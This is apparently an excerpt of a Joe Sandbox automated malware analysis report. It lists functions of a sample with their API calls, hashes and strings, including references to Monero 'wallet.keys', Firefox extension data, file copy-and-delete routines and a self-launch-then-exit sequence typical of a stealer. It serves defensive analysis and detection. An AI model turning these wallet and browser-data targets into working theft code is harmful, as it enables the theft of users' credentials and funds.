Associated: 00000000.00000002.1702857750.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000000E9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001106000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.000000000112A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001135000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001143000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703203377.0000000001144000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703302298.00000000012E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703315712.00000000012E6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c40000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: 9a16d7ec57909ba606c1b269f4473878690005712ca9fccef3cd117a0c2dd3d5
Instruction ID: 2368b6e2a7b778755fbdd1674068d386a7d8de37725ed5795de2eeb5c96556d0
Opcode Fuzzy Hash: 9a16d7ec57909ba606c1b269f4473878690005712ca9fccef3cd117a0c2dd3d5
Instruction Fuzzy Hash: 490136B5A40208BFEB14DFD1DC49FAEB7B8EB48701F048156FA09E7280D6759A059F51

Function 00C5C84E Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 129COMMONLIBRARYCODE

Download Yara Rule

APIs

___crtGetStringTypeA.LIBCMT ref: 00C5C8EC
___crtLCMapStringA.LIBCMT ref: 00C5C90C
___crtLCMapStringA.LIBCMT ref: 00C5C931

Strings

, xrefs: 00C5C896

Memory Dump Source

Source File: 00000000.00000002.1702857750.0000000000C41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000000.00000002.1702844937.0000000000C40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000CF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000D22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000000E9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001106000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.000000000112A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001135000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001143000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703203377.0000000001144000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703302298.00000000012E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703315712.00000000012E6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c40000_file.jbxd

Yara matches

Similarity

API ID: String___crt$Type
String ID:
API String ID: 2109742289-3916222277
Opcode ID: 449a72f59efeb99c7ba2fc8c5a2ed3f3f809653a08885e77d5ae82cc8595fc72
Instruction ID: a5f95a91553d0036da02c5f8c98f7d4a849d222059890eeac597c343f10161dd
Opcode Fuzzy Hash: 449a72f59efeb99c7ba2fc8c5a2ed3f3f809653a08885e77d5ae82cc8595fc72
Instruction Fuzzy Hash: 2D41E4B910079C5EDB318B248CC4BFBBBF89F45705F1444E8ED9A86182D2719B89DF68

Function 00C56630 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 70COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,0000003C,?,000003E8), ref: 00C56663

Part of subcall function 00C5A740: lstrcpy.KERNEL32(00C60E17,00000000), ref: 00C5A788

Part of subcall function 00C5A9B0: lstrlen.KERNEL32(?,0089AEE8,?,\Monero\wallet.keys,00C60E17), ref: 00C5A9C5
Part of subcall function 00C5A9B0: lstrcpy.KERNEL32(00000000), ref: 00C5AA04
Part of subcall function 00C5A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00C5AA12

Part of subcall function 00C5A8A0: lstrcpy.KERNEL32(?,00C60E17), ref: 00C5A905

ShellExecuteEx.SHELL32(0000003C), ref: 00C56726
ExitProcess.KERNEL32 ref: 00C56755

Strings

<, xrefs: 00C566D9

Memory Dump Source

Source File: 00000000.00000002.1702857750.0000000000C41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000000.00000002.1702844937.0000000000C40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000CF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000D22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000000E9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001106000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.000000000112A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001135000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001143000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703203377.0000000001144000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703302298.00000000012E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703315712.00000000012E6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c40000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$ExecuteExitFileModuleNameProcessShelllstrcatlstrlen
String ID: <
API String ID: 1148417306-4251816714
Opcode ID: 2af35dd71e3bb9385c78ba4dc4dbaf2b599aef8a782a4ca5213030464fc61f52
Instruction ID: 09d58765b412e5bbd1d9515f09fedd3407fb4992f6c8d6a897bea0866fbaaa25
Opcode Fuzzy Hash: 2af35dd71e3bb9385c78ba4dc4dbaf2b599aef8a782a4ca5213030464fc61f52
Instruction Fuzzy Hash: 7E3149B5801218AEDB14EB91DC82BDEB778AF04301F404299F60976191DF746B8CDF6A

Function 00C587C0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00C60E28,00000000,?), ref: 00C5882F
RtlAllocateHeap.NTDLL(00000000), ref: 00C58836
wsprintfA.USER32 ref: 00C58850

Part of subcall function 00C5A740: lstrcpy.KERNEL32(00C60E17,00000000), ref: 00C5A788

Strings

%dx%d, xrefs: 00C58847

Memory Dump Source

Source File: 00000000.00000002.1702857750.0000000000C41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000000.00000002.1702844937.0000000000C40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000CF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000D22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000000E9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001106000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.000000000112A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001135000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001143000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703203377.0000000001144000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703302298.00000000012E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703315712.00000000012E6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c40000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcesslstrcpywsprintf
String ID: %dx%d
API String ID: 1695172769-2206825331
Opcode ID: 897d7246373d2ada6db16c6c2ed3224209939762f8a0bd506a59cd40cca162e2
Instruction ID: 1f2c63ea94891f32ff9ffce4b88dc011b9fb65ad20470bb7526b4953aded9e5e
Opcode Fuzzy Hash: 897d7246373d2ada6db16c6c2ed3224209939762f8a0bd506a59cd40cca162e2
Instruction Fuzzy Hash: 482157B1A40204AFEB04DFD5DD49FAEBBB8FB48701F14412AF609B7280C7795904CBA5

Function 00C58D50 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 20memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,000000FA,?,?,00C5951E,00000000), ref: 00C58D5B
RtlAllocateHeap.NTDLL(00000000), ref: 00C58D62
wsprintfW.USER32 ref: 00C58D78

Strings

%hs, xrefs: 00C58D6F

Memory Dump Source

Source File: 00000000.00000002.1702857750.0000000000C41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000000.00000002.1702844937.0000000000C40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000CF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000D22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000000E9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001106000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.000000000112A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001135000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001143000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703203377.0000000001144000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703302298.00000000012E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703315712.00000000012E6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c40000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcesswsprintf
String ID: %hs
API String ID: 769748085-2783943728
Opcode ID: 1e3b25aa4124b3e638c9ae3b745637405118975d00e7b8529c5fb6ffe7c1db76
Instruction ID: a970751f0f4a87972fd5d31b5dc884eea34552a3e90e89bd2b74e01affa90319
Opcode Fuzzy Hash: 1e3b25aa4124b3e638c9ae3b745637405118975d00e7b8529c5fb6ffe7c1db76
Instruction Fuzzy Hash: 94E08670A40208BFD714DBD5DC0EE5977B8EB04701F040065FE0DA7280D9715E049B62

Function 00C4A260 Relevance: 6.4, APIs: 4, Instructions: 370filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00C5A740: lstrcpy.KERNEL32(00C60E17,00000000), ref: 00C5A788

Part of subcall function 00C5A9B0: lstrlen.KERNEL32(?,0089AEE8,?,\Monero\wallet.keys,00C60E17), ref: 00C5A9C5
Part of subcall function 00C5A9B0: lstrcpy.KERNEL32(00000000), ref: 00C5AA04
Part of subcall function 00C5A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00C5AA12

Part of subcall function 00C5A8A0: lstrcpy.KERNEL32(?,00C60E17), ref: 00C5A905

Part of subcall function 00C58B60: GetSystemTime.KERNEL32(00C60E1A,0089C2B8,00C605AE,?,?,00C413F9,?,0000001A,00C60E1A,00000000,?,0089AEE8,?,\Monero\wallet.keys,00C60E17), ref: 00C58B86

Part of subcall function 00C5A920: lstrcpy.KERNEL32(00000000,?), ref: 00C5A972
Part of subcall function 00C5A920: lstrcat.KERNEL32(00000000), ref: 00C5A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00C4A2E1
lstrlen.KERNEL32(00000000,00000000), ref: 00C4A3FF
lstrlen.KERNEL32(00000000), ref: 00C4A6BC

Part of subcall function 00C5A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00C5A7E6

DeleteFileA.KERNEL32(00000000), ref: 00C4A743

Memory Dump Source

Source File: 00000000.00000002.1702857750.0000000000C41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000000.00000002.1702844937.0000000000C40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000CF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000D22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000000E9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001106000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.000000000112A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001135000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001143000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703203377.0000000001144000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703302298.00000000012E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703315712.00000000012E6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c40000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 28adb393513628bd0edd266418c8590145dbb657318a0a23f8d9a39480350459
Instruction ID: 462768b7e17fb4ba2d1e2e79097b154bd4afa20449f61239f3f943677e1cbfe1
Opcode Fuzzy Hash: 28adb393513628bd0edd266418c8590145dbb657318a0a23f8d9a39480350459
Instruction Fuzzy Hash: DCE105768101189BDB14FBA5DC91EEE7338BF14301F548269F91772091EF306A8DDB6A

Function 00C4D400 Relevance: 6.3, APIs: 4, Instructions: 252filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00C5A740: lstrcpy.KERNEL32(00C60E17,00000000), ref: 00C5A788

Part of subcall function 00C5A9B0: lstrlen.KERNEL32(?,0089AEE8,?,\Monero\wallet.keys,00C60E17), ref: 00C5A9C5
Part of subcall function 00C5A9B0: lstrcpy.KERNEL32(00000000), ref: 00C5AA04
Part of subcall function 00C5A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00C5AA12

Part of subcall function 00C5A8A0: lstrcpy.KERNEL32(?,00C60E17), ref: 00C5A905

Part of subcall function 00C58B60: GetSystemTime.KERNEL32(00C60E1A,0089C2B8,00C605AE,?,?,00C413F9,?,0000001A,00C60E1A,00000000,?,0089AEE8,?,\Monero\wallet.keys,00C60E17), ref: 00C58B86

Part of subcall function 00C5A920: lstrcpy.KERNEL32(00000000,?), ref: 00C5A972
Part of subcall function 00C5A920: lstrcat.KERNEL32(00000000), ref: 00C5A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00C4D481
lstrlen.KERNEL32(00000000), ref: 00C4D698
lstrlen.KERNEL32(00000000), ref: 00C4D6AC
DeleteFileA.KERNEL32(00000000), ref: 00C4D72B

Memory Dump Source

Source File: 00000000.00000002.1702857750.0000000000C41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000000.00000002.1702844937.0000000000C40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000CF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000D22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000000E9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001106000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.000000000112A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001135000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001143000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703203377.0000000001144000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703302298.00000000012E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703315712.00000000012E6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c40000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 432fb8e58e7396775408b09a2b28abddae79210997b93a1b536e925789e7dbbf
Instruction ID: 1509a5b550616f024c08898b4193b00db2492c2c2d3a557289282e625d49c168
Opcode Fuzzy Hash: 432fb8e58e7396775408b09a2b28abddae79210997b93a1b536e925789e7dbbf
Instruction Fuzzy Hash: BC9126758101189BDB04FBA2DC92EEE7338BF14301F544269F917B6091EF346A8DEB66

Function 00C4D780 Relevance: 6.2, APIs: 4, Instructions: 221filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00C5A740: lstrcpy.KERNEL32(00C60E17,00000000), ref: 00C5A788

Part of subcall function 00C5A9B0: lstrlen.KERNEL32(?,0089AEE8,?,\Monero\wallet.keys,00C60E17), ref: 00C5A9C5
Part of subcall function 00C5A9B0: lstrcpy.KERNEL32(00000000), ref: 00C5AA04
Part of subcall function 00C5A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00C5AA12

Part of subcall function 00C5A8A0: lstrcpy.KERNEL32(?,00C60E17), ref: 00C5A905

Part of subcall function 00C58B60: GetSystemTime.KERNEL32(00C60E1A,0089C2B8,00C605AE,?,?,00C413F9,?,0000001A,00C60E1A,00000000,?,0089AEE8,?,\Monero\wallet.keys,00C60E17), ref: 00C58B86

Part of subcall function 00C5A920: lstrcpy.KERNEL32(00000000,?), ref: 00C5A972
Part of subcall function 00C5A920: lstrcat.KERNEL32(00000000), ref: 00C5A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00C4D801
lstrlen.KERNEL32(00000000), ref: 00C4D99F
lstrlen.KERNEL32(00000000), ref: 00C4D9B3
DeleteFileA.KERNEL32(00000000), ref: 00C4DA32

Memory Dump Source

Source File: 00000000.00000002.1702857750.0000000000C41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000000.00000002.1702844937.0000000000C40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000CF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000D22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000000E9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001106000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.000000000112A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001135000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001143000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703203377.0000000001144000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703302298.00000000012E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703315712.00000000012E6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c40000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 298823f31d94dee4a372aaabe7d6f610075b02b3fa935b124190f9664faf9319
Instruction ID: 349b9625bf9af3457e0b5e6a24aff6fc9145ba1033a0554064c2a0ce40ea9b38
Opcode Fuzzy Hash: 298823f31d94dee4a372aaabe7d6f610075b02b3fa935b124190f9664faf9319
Instruction Fuzzy Hash: 2F8134759101189BDB04FBA2DC92EEE7338BF14301F544229F907B6091EF346A4DEB66

Function 00C4F4A0 Relevance: 6.2, APIs: 2, Strings: 2, Instructions: 154stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00C5A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00C5A7E6

Part of subcall function 00C499C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00C499EC
Part of subcall function 00C499C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00C49A11
Part of subcall function 00C499C0: LocalAlloc.KERNEL32(00000040,?), ref: 00C49A31
Part of subcall function 00C499C0: ReadFile.KERNEL32(000000FF,?,00000000,00C4148F,00000000), ref: 00C49A5A
Part of subcall function 00C499C0: LocalFree.KERNEL32(00C4148F), ref: 00C49A90
Part of subcall function 00C499C0: CloseHandle.KERNEL32(000000FF), ref: 00C49A9A

Part of subcall function 00C58E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00C58E52

Part of subcall function 00C5A740: lstrcpy.KERNEL32(00C60E17,00000000), ref: 00C5A788

Part of subcall function 00C5A9B0: lstrlen.KERNEL32(?,0089AEE8,?,\Monero\wallet.keys,00C60E17), ref: 00C5A9C5
Part of subcall function 00C5A9B0: lstrcpy.KERNEL32(00000000), ref: 00C5AA04
Part of subcall function 00C5A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00C5AA12

Part of subcall function 00C5A8A0: lstrcpy.KERNEL32(?,00C60E17), ref: 00C5A905

Part of subcall function 00C5A920: lstrcpy.KERNEL32(00000000,?), ref: 00C5A972
Part of subcall function 00C5A920: lstrcat.KERNEL32(00000000), ref: 00C5A982

StrStrA.SHLWAPI(00000000,00000000,00000000,?,?,00000000,?,00C61580,00C60D92), ref: 00C4F54C
lstrlen.KERNEL32(00000000), ref: 00C4F56B

Strings

^userContextId=4294967295, xrefs: 00C4F59C
moz-extension+++, xrefs: 00C4F5AD

Memory Dump Source

Source File: 00000000.00000002.1702857750.0000000000C41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000000.00000002.1702844937.0000000000C40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000CF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000D22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000000E9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001106000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.000000000112A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001135000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001143000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703203377.0000000001144000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703302298.00000000012E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703315712.00000000012E6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c40000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileLocal$Alloclstrcatlstrlen$CloseCreateFreeHandleReadSize
String ID: ^userContextId=4294967295$moz-extension+++
API String ID: 998311485-3310892237
Opcode ID: 93a1fa5929f41e64808df0e31450597f57bf25fa22bfa728ffac952daa762e78
Instruction ID: a4f9ba5c975d13efc507d768464edcbb1925f64ccda707c23e2c7c25abb0191c
Opcode Fuzzy Hash: 93a1fa5929f41e64808df0e31450597f57bf25fa22bfa728ffac952daa762e78
Instruction Fuzzy Hash: AB513079D10108AADB04FBB1DC92DED7738BF54301F408628FC16A7191EE346A4DEBA6

Function 00C53560 Relevance: 6.1, APIs: 4, Instructions: 124COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1702857750.0000000000C41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000000.00000002.1702844937.0000000000C40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000CF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000D22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000000E9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001106000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.000000000112A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001135000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001143000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703203377.0000000001144000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703302298.00000000012E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703315712.00000000012E6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c40000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen
String ID:
API String ID: 367037083-0
Opcode ID: b3f24be2456e15c17423d20275c23479907df6bba8043813fcc9ae4829816dcf
Instruction ID: a3023d21b7ac51e91c425dd2db176db04c19d7059b535699f6fc10cd5f9c70fe
Opcode Fuzzy Hash: b3f24be2456e15c17423d20275c23479907df6bba8043813fcc9ae4829816dcf
Instruction Fuzzy Hash: E8414075D10108AFCB04EFE5C885AEEB774BF54305F148128F816B6290EB74AA49DFA6

Function 00C49CE0 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 98COMMON

Download Yara Rule

APIs

Part of subcall function 00C5A740: lstrcpy.KERNEL32(00C60E17,00000000), ref: 00C5A788

Part of subcall function 00C499C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00C499EC
